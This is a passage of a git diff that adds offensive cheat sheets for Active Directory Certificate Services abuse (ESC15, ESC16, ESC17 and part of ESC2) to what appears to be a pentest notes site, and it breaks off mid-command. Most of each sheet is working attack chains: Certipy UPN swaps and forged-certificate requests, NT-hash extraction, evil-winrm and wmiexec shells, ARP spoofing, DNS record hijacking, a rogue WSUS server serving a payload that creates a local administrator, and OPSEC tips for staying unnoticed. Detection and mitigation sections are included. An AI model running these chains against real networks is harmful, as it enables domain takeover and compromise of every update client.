v1** | +| **Admin misconfiguration required?** | ✅ | ✅ | ❌ **No — default templates vulnerable** | +| **Injects EKU via** | Template has it pre-set | Template has Any Purpose | **CSR at request time** | +| **CVE assigned** | No | No | **CVE-2024-49019** | +| **Patched** | No patch (misconfiguration fix) | No patch | ✅ **November 2024 KB5044281** | +| **Can inject arbitrary EKUs?** | ❌ | ❌ | ✅ | +| **Schema version required** | Any | Any | **Version 1 only** | +| **Discovered by** | SpecterOps | SpecterOps | **TrustedSec (Justin Bollinger)** | + +*** + +## Post-Patch Verification + +```powershell +# Check if KB5044281 is installed +Get-HotFix -Id KB5044281 + +# If installed, ESC15 is patched — schema v1 templates will no longer +# accept CSR-supplied Application Policies + +# Permanent fix — upgrade templates to schema v2+ +# In CA MMC: Template Properties → Compatibility tab +# Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later +# This upgrades the template to schema version 2+ +``` + +### Audit Schema V1 Templates + +```powershell +# Find all schema V1 templates in your environment +Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" ` + -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * | + Select-Object Name, 'msPKI-Template-Schema-Version' +``` + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Certificate request | Event ID 4886/4887 | 🟢 Low (looks like normal enrollment) | +| Patch status check | WMI query | 🟢 Low | +| Auth with injected EKU | Event ID 4768 | 🟢 Low | + +> 💡 ESC15 is **very quiet** — the enrollment looks completely legitimate. The only anomaly is that the issued certificate has an Application Policy (Client Auth) that isn't defined on the template configuration. Detecting this requires comparing issued cert policies against template-defined policies. + +*** + +## Detection Indicators + +- **Event ID 4887** — Certificate issued with `Client Authentication` EKU from a template (`User`, `Machine`) that doesn't have that EKU defined in its configuration +- **CSR inspection** — Monitor for CSRs containing `szOID_APPLICATION_CERT_POLICIES` extensions not matching the requested template's defined policies +- **Microsoft Defender for Identity** — Has built-in ESC15 detection post-patch +- **Template-to-cert comparison** — Alert when issued cert EKUs ≠ template-defined EKUs + +*** + +## Mitigation + +- **Apply KB5044281** (November 2024 patch) — direct fix for the vulnerability +- **Migrate schema v1 templates to v2+** — removes the vulnerable code path entirely (see Post-Patch Verification section) +- **Restrict enrollment rights** on `User` and `Machine` templates — removing `Domain Users` from enrollment rights is the single fastest interim mitigation +- **Audit schema version 1 templates** using the PowerShell command above +- **Monitor for Application Policy injection** — compare issued certificates against template-defined policies diff --git a/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md b/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md @@ -0,0 +1,283 @@ +--- +title: "ESC16 — Security Extension Disabled on CA (Globally)" +description: "ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Certipy", "BloodHound", "Evil-WinRM", "faketime", "Certify"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC16 — Security Extension Disabled on CA (Globally).md" +--- +# ESC16 — Security Extension Disabled on CA (Globally) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | CA-Level Configuration Abuse | +| **Difficulty** | Medium | +| **Pre-requisites** | `szOID_NTDS_CA_SECURITY_EXT` in CA `DisableExtensionList` + GenericWrite on enrollable account | +| **Tools** | Certipy v5+, BloodHound | +| **OPSEC Noise** | Medium — UPN swap generates 4738 events | +| **One-liner** | CA globally disables SID security extension → KDC falls back to UPN matching → swap controlled account's UPN to `administrator` → request cert → authenticate as admin. | + +*** + +ESC16 was introduced with **Certipy v5** by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been configured to globally disable the `szOID_NTDS_CA_SECURITY_EXT` extension (`1.3.6.1.4.1.311.25.2`) — also known as the **SID security extension**. This extension was Microsoft's patch response to Certifried (CVE-2022-26923) — it embeds the requester's `objectSid` into every issued certificate, allowing the KDC to perform strong certificate binding and verify that the certificate identity matches the AD object. + +When this extension is **disabled at the CA level**, every single certificate issued by that CA lacks the SID binding — making the KDC fall back to **UPN-based authentication** for all certificates. This means the KDC trusts whatever UPN is embedded in the cert without verifying the objectSid — and since you can temporarily swap a controlled account's UPN to `administrator`, you can get a legitimately CA-signed certificate that the DC accepts as proof you are Administrator. + +This is effectively **ESC6's post-patch bypass** — it achieves the same outcome through a different mechanism. + +*** + +## The Core Mechanism + +The CA stores disabled extensions in a registry key: + +``` +HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\ +CertificateAuthority_MicrosoftDefault.Policy +DisableExtensionList = 1.3.6.1.4.1.311.25.2 +``` + +When `szOID_NTDS_CA_SECURITY_EXT` is in this list, **no certificate issued by this CA will ever contain a SID extension** — regardless of template configuration, regardless of StrongCertificateBindingEnforcement settings on the KDC. The SID extension simply never gets embedded at issuance time. + +*** + +## Required Conditions + +| Condition | Where to Check | +|-----------|----------------| +| `szOID_NTDS_CA_SECURITY_EXT` in CA's `DisableExtensionList` | CA output: `Security Extension: Disabled` | +| You have **`GenericWrite` or `WriteProperty`** over at least one domain account | BloodHound ACE edges / certipy output | +| That account can **enroll** in a Client Auth template | Template `Enrollment Rights` includes the account or its group | +| `Request Disposition: Issue` | CA config | + +> 💡 The `GenericWrite` account does **not** need to be privileged. On Fluffy, you had `GenericWrite` over `ca_svc` — a service account, not an admin. That was enough. + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash (PtH) — format is -hashes :NTHASH (leading colon = empty LM) +certipy-ad find -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ + -dc-ip $TARGET -vulnerable -stdout +``` + +> [!bug] `cannot import name 'asn1' from 'cryptography.hazmat'` +> This is **not** a command error — Certipy v5 needs a newer `cryptography` than the stale one in `~/.local`. Certipy runs but every operation dies on import. Fix by reinstalling Certipy in an isolated environment so it pulls its own dependency set: +> ```bash +> pipx install certipy-ad # or: uv tool install certipy-ad +> ``` +> If you must keep the system install, upgrade the shadowing library: `pip install --user --upgrade 'cryptography>=44' asn1crypto`. Confirm with `certipy-ad version`. + +### What Vulnerable ESC16 Output Looks Like + +``` +Certificate Authorities + 0 + CA Name : fluffy-DC01-CA + DNS Name : DC01.fluffy.htb + Web Enrollment + HTTP Enabled : False ← ESC8 not available + HTTPS Enabled : False + User Specified SAN : Disabled ← ESC6 not available + Request Disposition : Issue + Enforce Encryption for Requests : Enabled ← ESC11 not available + + [!] Vulnerabilities + ESC16 : Security extension is disabled. +``` + +> 💡 This is **exactly what Fluffy showed** — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled. + +*** + +## Full Attack Chain — Linux (Certipy v5.1.0) + +The attack is a **4-step chain**: read + hijack the UPN → request the cert as the controlled account → restore the UPN → authenticate. Commands below use the real Fluffy values (`winrm_svc` hash `33bd09...`, `ca_svc` hash `ca0f4f...`). + +> [!warning] `account` actions are `create` / `read` / `update` / `delete` +> There is **no `lookup` action**. Use `read` to view an account and `update` to change it. The action is a positional argument at the **end** of the command, and `-user <SAM>` is required. + +*** + +### Step 1 — Read, then hijack ca_svc's UPN + +You need write over the controlled account's `userPrincipalName` (here `winrm_svc` can write `ca_svc`), and `ca_svc` must be able to enrol in a Client Auth template (e.g. `User`). + +```bash +# Read the current UPN first so you can restore it exactly +certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ + -dc-ip $TARGET -user ca_svc read +``` + +```bash +# Set ca_svc's UPN to the target identity +certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ + -dc-ip $TARGET -user ca_svc -upn administrator update +``` + +> [!warning] Do Step 2 immediately +> The UPN swap is a live AD change. Request the cert right away, then restore in Step 3 to avoid breaking `ca_svc` auth or tripping detection. + +*** + +### Step 2 — Request a certificate as ca_svc + +Enrol as `ca_svc` (whose UPN is now `administrator`) in a Client Auth template. Because the CA strips the SID extension (ESC16), the issued cert maps by UPN, so it authenticates as Administrator. + +```bash +certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \ + -dc-ip $TARGET -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User +# → Got certificate with UPN 'administrator' ; saved administrator.pfx +``` + +*** + +### Step 3 — Restore the UPN (clean up / avoid breaking auth) + +```bash +certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ + -dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update +``` + +> [!tip] The cert stays valid +> Restoring the UPN does **not** invalidate `administrator.pfx` — the identity is locked in at signing time. You keep a working admin cert. + +*** + +### Step 4 — Authenticate with the cert for the admin NT hash + +```bash +certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb +# → Got hash for 'administrator@fluffy.htb': aad3b435...:8da83a3fa618b6e3a00e93f676c92a6e +``` + +> [!warning] Clock skew (Fluffy) +> `certipy auth` uses PKINIT and does **not** self-correct skew. If it throws `KRB_AP_ERR_SKEW`, prefix `faketime` (see faketime-cheatsheet) or sync your clock: `sudo rdate -n $TARGET`. +> ```bash +> faketime -f '+7h' certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb +> ``` + +*** + +### Step 5 — Shell + +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.fluffy.htb +``` + +```bash +evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e +``` + +*** + +## ESC16 Visual Attack Flow (Fluffy-style) + +``` +[winrm_svc has GenericWrite over ca_svc] + │ + │ certipy account -user ca_svc -upn administrator update + ▼ +[ca_svc.userPrincipalName = "administrator"] ← Temporary + │ + │ certipy req -u ca_svc -template User + │ CA issues cert — reads UPN = "administrator" + │ No SID extension embedded (ESC16) + ▼ +[administrator.pfx] ← Signed by CA with UPN = administrator + │ + │ certipy account -user ca_svc -upn ca_svc@fluffy.htb update + ▼ +[UPN restored — clean] ← cert still valid forever + │ + │ certipy auth -pfx administrator.pfx + ▼ +[TGT + NT Hash for Administrator] + │ + ▼ + [DOMAIN OWNED] +``` + +*** + +## ESC16 vs ESC9 — The Relationship + +ESC16 is the CA-level version of ESC9. The difference: + +| | ESC9 | ESC16 | +|---|---|---| +| **Where flag is set** | Per-template: `CT_FLAG_NO_SECURITY_EXTENSION` | **CA-wide: `DisableExtensionList`** | +| **Templates affected** | Only templates with the flag | **Every template on that CA** | +| **Certipy detects as** | ESC9 on specific template | ESC16 on CA object | +| **Attack chain** | UPN swap → req → restore | UPN swap → req → restore (identical) | +| **Introduced** | SpecterOps 2021 | **Oliver Lyak, Certipy v5, 2024** | + +*** + +## ESC16 vs ESC6 — Post-Patch Equivalence + +| | ESC6 | ESC16 | +|---|---|---| +| **Mechanism** | CA accepts user-specified SAN at enrollment | CA doesn't embed SID — KDC falls back to UPN matching | +| **Post-KB5014754** | Blocked if `StrongCertificateBindingEnforcement = 2` | ✅ **Still works** — SID is never in cert so enforcement is bypassed at source | +| **Requires UPN swap** | ❌ — inject SAN directly | ✅ — must temporarily swap UPN | +| **Modern relevance** | Largely historical | ✅ **Current and dangerous** | + +*** + +## Detection Indicators + +- **Event ID 4738** — User account changed — specifically watch for `userPrincipalName` attribute being modified on service or machine accounts +- **Rapid pair of 4738 events** — UPN changed then immediately changed back within seconds is the ESC16 fingerprint +- **Event ID 4887** — Certificate issued where the UPN in the cert differs from the account's permanent UPN in AD +- **CA registry audit** — Alert on any modification to the `DisableExtensionList` registry value +- **BloodHound** — `GenericWrite` edges from low-priv principals to accounts with enrollment rights are the pre-condition indicator + +*** + +## Mitigation + +- **Remove `szOID_NTDS_CA_SECURITY_EXT` from `DisableExtensionList`** — this is the direct fix; the SID extension must be re-enabled: + ```powershell + # On the CA server + certutil -setreg CA\DisableExtensionList - + net stop certsvc && net start certsvc + ``` +- **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — enforces SID validation on cert auth +- **Audit `GenericWrite` ACEs** — Any low-priv principal with `GenericWrite` over an account that can enroll in auth templates is a pre-condition for ESC16 +- **Monitor UPN changes** on accounts that hold enrollment rights — UPN modifications are rare and should always alert +- **Re-issue all certificates** after enabling the SID extension — existing certs without objectSid remain exploitable until they expire + +*** + +## OPSEC Considerations + +| Action | Event Generated | Noise Level | +|--------|----------------|-------------| +| UPN swap on controlled account | Event ID 4738 (User Account Changed) | 🟡 Medium | +| Certificate request | Event ID 4887 on CA | 🟢 Low | +| UPN restore | Event ID 4738 (second occurrence) | 🟡 Medium | +| PKINIT authentication | Event ID 4768 (TGT request) | 🟢 Low | + +> ⚠️ The **rapid pair of 4738 events** (UPN changed → UPN restored within seconds) is the primary detection fingerprint. Minimize the time between Steps 3–5. The certificate request itself is low-noise since it goes through a legitimate template. + +*** + +## References + +- [ESC16 — SpecterOps GhostPack Docs](https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc16-security-extension-disabled-on-certificate-authority) +- [Certipy v5 Release & ESC16 — Oliver Lyak](https://github.com/ly4k/Certipy/discussions/270) +- [ADCS ESC16 — Hacking Articles](https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/) +- [Certipy Privilege Escalation Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation) +- [Active Directory Certificate ESC Attacks — InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc/) +- [Fortifying ADCS Against Exploitation — NCC Group](https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/) diff --git a/src/content/sheets/active-directory/esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients.md b/src/content/sheets/active-directory/esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients.md @@ -0,0 +1,275 @@ +--- +title: "ESC17 — ADCS Certificate Spoofing to Attack HTTPS-Enabled WSUS Clients" +description: "ESC17 was coined by researchers Alexander Neff and Phil Knüfer at DigiTrace in January 2026. Unlike ESC1–ESC16 which target domain privilege escalation…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "lateral-movement"] +tools: ["NetExec", "Impacket", "Certipy", "Responder", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC17 — ADCS Certificate Spoofing to Attack HTTPS-Enabled WSUS Clients.md" +--- +# ESC17 — ADCS Certificate Spoofing to Attack HTTPS-Enabled WSUS Clients + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Lateral Movement / Client Compromise | +| **Difficulty** | High | +| **Pre-requisites** | Template with Server Auth EKU + `ENROLLEE_SUPPLIES_SUBJECT` + WSUS deployed + MiTM capability | +| **Tools** | Certipy, PyWSUS, Responder, dnstool.py | +| **OPSEC Noise** | Medium-High — cert request + network-level MiTM | +| **One-liner** | Request CA-signed TLS cert for WSUS hostname via misconfigured template → MiTM WSUS traffic → serve malicious updates → SYSTEM on all clients. | + +*** + +## What Is ESC17? + +ESC17 was coined by researchers **Alexander Neff and Phil Knüfer** at DigiTrace in January 2026. Unlike ESC1–ESC16 which target **domain privilege escalation**, ESC17 targets **lateral movement and client compromise** by weaponising misconfigured ADCS templates to **impersonate a WSUS (Windows Server Update Services) server** — even when WSUS is secured with HTTPS. + +The common belief was that enabling HTTPS on WSUS made it immune to spoofing and interception attacks. ESC17 shatters that assumption entirely. If an ADCS template permits low-privileged users to enroll and specify their own SAN, and that template has **Server Authentication EKU** — an attacker can request a **legitimate, CA-signed TLS certificate for the WSUS server's hostname**. With a trusted cert in hand they can MiTM the WSUS traffic, serve malicious updates, and achieve **SYSTEM-level code execution on every domain-joined client that polls that WSUS server**. + +*** + +## ESC17 vs ESC1 — The Critical Distinction + +ESC17 is essentially an **incomplete mitigation of ESC1**. Many organisations hardened ESC1 by removing `Client Authentication` EKU from permissive templates — but left `Server Authentication` EKU in place, not realising it opens a completely different attack surface: + +| | ESC1 | ESC17 | +|---|---|---| +| **EKU abused** | `Client Authentication` (1.3.6.1.5.5.7.3.2) | **`Server Authentication` (1.3.6.1.5.5.7.3.1)** | +| **What you forge** | Identity as a domain user | **Identity as a server (e.g. WSUS)** | +| **Attack outcome** | Authenticate as Administrator → Domain Admin | **Impersonate WSUS → push malicious updates → SYSTEM on all clients** | +| **ESC1 mitigation blocks it?** | N/A | ❌ Removing Client Auth EKU does NOT fix it | +| **Requires HTTPS?** | N/A | ❌ Bypasses HTTPS entirely | +| **Target** | AD authentication | **Windows Update clients** | + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Certificate template has **`Server Authentication` EKU** | OID `1.3.6.1.5.5.7.3.1` | +| Template has **`ENROLLEE_SUPPLIES_SUBJECT`** (SAN control) | Same flag as ESC1 — `Enrollee Supplies Subject: True` | +| Low-priv users can enroll | `Enrollment Rights: Domain Users` or similar | +| WSUS is deployed in the environment | Required target for the impersonation | +| Attacker can intercept or redirect WSUS traffic | ARP poisoning, DNS manipulation, BGP — any MiTM method | + +> 💡 ESC17 can also be combined with **weak DNS ACL permissions** — if a low-priv user can also modify AD-integrated DNS records, they can redirect WSUS hostname resolution to their machine without needing any network-level MiTM. DNS ACL abuse + ESC17 is a particularly clean attack chain. + +*** + +## Understanding the WSUS Attack Context + +Before diving into the exploit chain, understand the target: + +``` +Normal WSUS flow: + [Domain Client] ──── HTTPS ────► [WSUS Server wsus.domain.htb] + Validates TLS cert of WSUS server + Downloads + installs updates (runs as SYSTEM) + +ESC17 abuse flow: + [Attacker] requests cert for wsus.domain.htb via misconfigured template + [Attacker box] presents valid TLS cert for wsus.domain.htb ← CA-signed + [Domain Client] trusts the cert ← same CA they always trusted + [Domain Client] ──── HTTPS ────► [Attacker box pretending to be WSUS] + Receives malicious update package + Executes as SYSTEM ← Game over +``` + +*** + +## Full Attack Chain + +### Step 1 — Enumerate Vulnerable Templates + +```bash +# Look for templates with Server Authentication EKU + Enrollee Supplies Subject +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# Manually grep if needed — Server Auth OID is 1.3.6.1.5.5.7.3.1 +# Look for this pattern in certipy output: +# Extended Key Usage : Server Authentication ← Target EKU +# Enrollee Supplies Subject : True ← SAN control +# Enrollment Rights : DOMAIN\Domain Users ← Low-priv enroll +``` + +### Step 2 — Identify the WSUS Server Hostname + +```bash +# Query AD for WSUS server hostname via WUA (Windows Update Agent) settings +netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \ + -M get-desc-users + +# Or check via registry (if you have a foothold on a client) +reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer + +# Typical output: +# WUServer = https://wsus.domain.htb:8531 +``` + +### Step 3 — Request a Certificate for the WSUS Server Hostname + +Use the `-dns` flag instead of `-upn` — because this is a Server Authentication cert, the identity is embedded as a DNS SAN, not a UPN: + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnServerAuthTemplate' \ + -dns 'wsus.domain.htb' + +# Output: wsus.pfx +# Certificate contains DNS SAN = wsus.domain.htb +# Signed by the domain CA — clients will trust it +``` + +### Step 4 — Set Up a Rogue WSUS Server + +```bash +# Use PWSHark or a custom HTTPS server with your cert +# The simplest approach — Python HTTPS server with the cert + +openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes +# Split into cert.pem and key.pem then: + +python3 -c " +import ssl, http.server +context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) +context.load_cert_chain('wsus.pem') +httpd = http.server.HTTPServer(('0.0.0.0', 8531), http.server.BaseHTTPRequestHandler) +httpd.socket = context.wrap_socket(httpd.socket, server_side=True) +httpd.serve_forever() +" + +# More practically — use PyWSUS or a dedicated WSUS spoofing tool +# to serve malicious Windows Update packages +``` + +### Step 5 — Redirect WSUS Traffic to Your Box + +**Option A — ARP Poisoning (LAN access):** +```bash +arpspoof -i eth0 -t <CLIENT-IP> <WSUS-IP> +arpspoof -i eth0 -t <WSUS-IP> <CLIENT-IP> +``` + +**Option B — DNS Record Manipulation (if you have DNS write ACLs):** +```bash +# If you have WriteProperty on the DNS zone (common misconfiguration) +# Update the WSUS A record to point to your IP +impacket-adidnsdump -u 'domain.htb\lowpriv' -p 'Password123!' $TARGET +# Then modify the WSUS record with dnstool.py or adidnsdump +python3 dnstool.py \ + -u 'domain.htb\lowpriv' \ + -p 'Password123!' \ + --action modify \ + --record wsus \ + --data <YOUR-IP> \ + $TARGET +``` + +**Option C — Responder DNS poisoning (if clients query via broadcast):** +```bash +responder -I eth0 -A # Analyse mode first to see queries +responder -I eth0 # Then active to poison +``` + +### Step 6 — Serve Malicious Update and Get SYSTEM + +```bash +# When a client polls your rogue WSUS server over HTTPS with your +# legitimate CA-signed cert, it accepts the connection and downloads +# whatever update package you serve. +# Windows Update runs packages as SYSTEM. + +# Using PyWSUS for update spoofing: +# https://github.com/GoSecure/pywsus +python3 wsus-inject.py \ + --host 0.0.0.0 \ + --port 8531 \ + --cert wsus.pem \ + --payload 'cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add' + +# Every domain-joined client polling this WSUS = SYSTEM shell +``` + +*** + +## ESC17 + Weak DNS ACLs — The Clean Chain + +The most powerful ESC17 scenario discovered by Mustafa Durukan combines ESC17 with DNS ACL abuse: + +``` +[lowpriv@domain.htb] + │ + ├── WriteProperty on DNS Zone object (common misconfiguration) + │ Modify WSUS A record → point to YOUR-IP + │ + └── Enroll in Server Auth + Enrollee Supplies Subject template + Request cert for wsus.domain.htb + Serve rogue WSUS over HTTPS with valid cert + │ + ▼ + [All WSUS clients redirected + TLS trusted] + │ + ▼ + [Malicious update pushed → SYSTEM on every client] +``` + +No ARP spoofing. No network-level MiTM. Just two AD misconfigurations chained together. + +*** + +## ESC17 Real-World Significance + +In my opinion, ESC17 is one of the more impactful recent ADCS discoveries precisely because it **exploits defensive blind spots**. Defenders who specifically hardened ESC1 by removing `Client Authentication` EKU may have created a false sense of security — leaving `Server Authentication` wide open. It also targets **client machines at scale** rather than just domain admins, meaning a successful ESC17 attack could compromise every endpoint in the organisation simultaneously. + +*** + +## Detection Indicators + +- **Event ID 4887** — Certificate issued with a DNS SAN matching an internal server hostname (e.g. `wsus.domain.htb`) where the requester is a low-priv user account +- **DNS audit logs** — Unexpected modification of WSUS or critical server DNS records +- **WSUS client logs** — Clients connecting to a WSUS IP that doesn't match the known WSUS server IP +- **Certificate Transparency monitoring** — Any cert issued for internal hostnames like `wsus.domain.htb` should alert immediately +- **Network IDS** — HTTPS connections to WSUS port (8530/8531) from non-WSUS IPs + +*** + +## Mitigation + +- **Remove `Server Authentication` EKU** from any template that also has `ENROLLEE_SUPPLIES_SUBJECT` — this is the direct fix +- **Restrict enrollment rights** — templates with Server Auth EKU should never be enrollable by `Domain Users` +- **Pin WSUS server certificate** via Group Policy — configure clients to only trust a specific certificate thumbprint for WSUS connections +- **Audit DNS ACLs** — remove unnecessary `WriteProperty` permissions from AD-integrated DNS zones +- **WSUS over HTTPS alone is not sufficient** — implement certificate pinning OR restrict which certificates clients accept for WSUS communication +- **Run `certipy find -vulnerable`** and specifically look for templates with `Server Authentication` EKU + `Enrollee Supplies Subject: True` — this combination is ESC17 + +*** + +## OPSEC Considerations + +| Action | Event Generated | Noise Level | +|--------|----------------|-------------| +| Certificate request with DNS SAN | Event ID 4887 on CA | 🟡 Medium | +| ARP poisoning for MiTM | Network IDS alerts | 🔴 High | +| DNS record modification | DNS audit logs | 🟡 Medium | +| Rogue WSUS server operation | Client WSUS logs, network anomalies | 🔴 High | +| Malicious update execution | Sysmon, EDR process creation | 🔴 High | + +> ⚠️ ESC17 is a **high-noise** attack due to the network-level MiTM component. The DNS manipulation variant is cleaner but still generates audit logs. Best suited for environments with limited network monitoring. + +*** + +## References + +- [Using ADCS to Attack HTTPS-Enabled WSUS Clients — DigiTrace](https://blog.digitrace.de/2026/01/using-adcs-to-attack-https-enabled-wsus-clients/) +- [ADCS Misconfig & Weak DNS ACLs Compromise WSUS Clients — Mustafa Durukan](https://www.linkedin.com/posts/mustafa-durukan_esc17-from-adcs-misconfiguration-to-wsus-activity-7432130640709357568-d9CE) +- [AD CS Security: Understanding and Exploiting ESC Techniques — Vaadata](https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/) +- [Active Directory Certificate ESC Attacks — InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc/) diff --git a/src/content/sheets/active-directory/esc2-any-purpose-eku-no-eku-the-swiss-certificate.md b/src/content/sheets/active-directory/esc2-any-purpose-eku-no-eku-the-swiss-certificate.md @@ -0,0 +1,287 @@ +--- +title: "ESC2 — Any Purpose EKU No EKU (The Swiss Certificate)" +description: "ESC2 gets its nickname \"The Swiss Certificate\" because a certificate issued from a vulnerable template can be used for any purpose — client auth, server…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Rubeus", "Certipy", "Evil-WinRM", "OpenSSL", "Certify"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC2 — Any Purpose EKU No EKU (The Swiss Certificate).md" +--- +# ESC2 — Any Purpose EKU / No EKU ("The Swiss Certificate") + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Certificate Template Misconfiguration | +| **Difficulty** | Low (Path A) / Medium (Path B) | +| **Pre-requisites** | Low-priv domain creds + Any Purpose/No EKU template | +| **Tools** | Certipy, Certify.exe, Rubeus | +| **OPSEC Noise** | Low | +| **One-liner** | Exploit templates with Any Purpose EKU or no EKU — either inject SAN (Path A, same as ESC1) or use the cert as an Enrollment Agent to request on behalf of Administrator (Path B). | + +*** + +## What Is ESC2? + +ESC2 gets its nickname "The Swiss Certificate" because a certificate issued from a vulnerable template can be used for **any purpose** — client auth, server auth, code signing, and critically, as an **Enrollment Agent**. The root cause is a template configured with the **Any Purpose EKU** (OID `2.5.29.37.0`) or **no EKU at all**. When no EKU is specified, Windows interprets it as a blanket authorisation to use the certificate for anything — functionally identical to having Any Purpose set explicitly. + +ESC2 is a direct evolution of ESC1 and splits into **two distinct attack paths** depending on whether the template also has `ENROLLEE_SUPPLIES_SUBJECT` enabled. Understanding which path you're on is the first thing you determine after finding a vulnerable template. + +*** + +## The Two Attack Paths at a Glance + +| | **Path A** | **Path B** | +|---|---|---| +| **Condition** | Template has Any Purpose/No EKU AND `Enrollee Supplies Subject: True` | Template has Any Purpose/No EKU but `Enrollee Supplies Subject: False` | +| **Method** | Exploit exactly like ESC1 — inject SAN directly | Use cert as an Enrollment Agent to request on behalf of Administrator (bridges into ESC3 territory) | +| **Complexity** | Simple — single command | Two-stage — requires a second enrollable template | +| **Certipy Flag** | `-upn administrator@domain.htb` | `-on-behalf-of` + `-pfx` | + +*** + +## Required Conditions + +All of the following must be true: + +| # | Condition | Certipy Output Indicator | +|---|-----------|--------------------------| +| 1 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` | +| 2 | Manager approval is off | `Requires Manager Approval: False` | +| 3 | No authorized signatures required | `Authorized Signatures Required: 0` | +| 4 | **Any Purpose EKU OR no EKU** | `Any Purpose: True` OR `Extended Key Usage: (blank)` | +| +5 | *(Path A only)* Enrollee Supplies Subject enabled | `Enrollee Supplies Subject: True` | + +*** + +## What to Look For in Certipy Output + +``` +Template Name : VulnTemplate +Client Authentication : True +Enrollment Agent : True ← Agent-capable +Any Purpose : True ← THE key flag +Enrollee Supplies Subject : True ← Path A available +Extended Key Usage : Any Purpose +Requires Manager Approval : False +Authorized Signatures Required : 0 +Permissions + Enrollment Rights : DOMAIN\Domain Users + +[!] Vulnerabilities + ESC1 : 'DOMAIN\Domain Users' can enroll, enrollee supplies subject... + ESC2 : 'DOMAIN\Domain Users' can enroll and template can be used for any purpose + ESC3 : 'DOMAIN\Domain Users' can enroll, and the template has Certificate Request Agent EKU set +``` + +> 💡 It is common to see ESC1, ESC2, and ESC3 flagged **simultaneously** on the same template when all conditions overlap. If you see all three, attack it as ESC1 (simplest path). ESC2 Path B is only relevant when SAN specification is locked down. + +*** + +## Step 0 — Enumeration + +```bash +# Standard vulnerable scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +Specifically look for `Any Purpose: True` or an empty `Extended Key Usage` field in the template output. + +*** + +## Path A — Any Purpose + Enrollee Supplies Subject (ESC1 Identical) + +When `Enrollee Supplies Subject: True` is also set, the attack is **byte-for-byte identical to ESC1**. You inject the target UPN directly. + +### Step 1 — Request cert with injected SAN +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnTemplateName' \ + -upn 'administrator@domain.htb' + +# Output: administrator.pfx +``` + +### Step 2 — Authenticate +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +### Step 3 — Shell +```bash +export 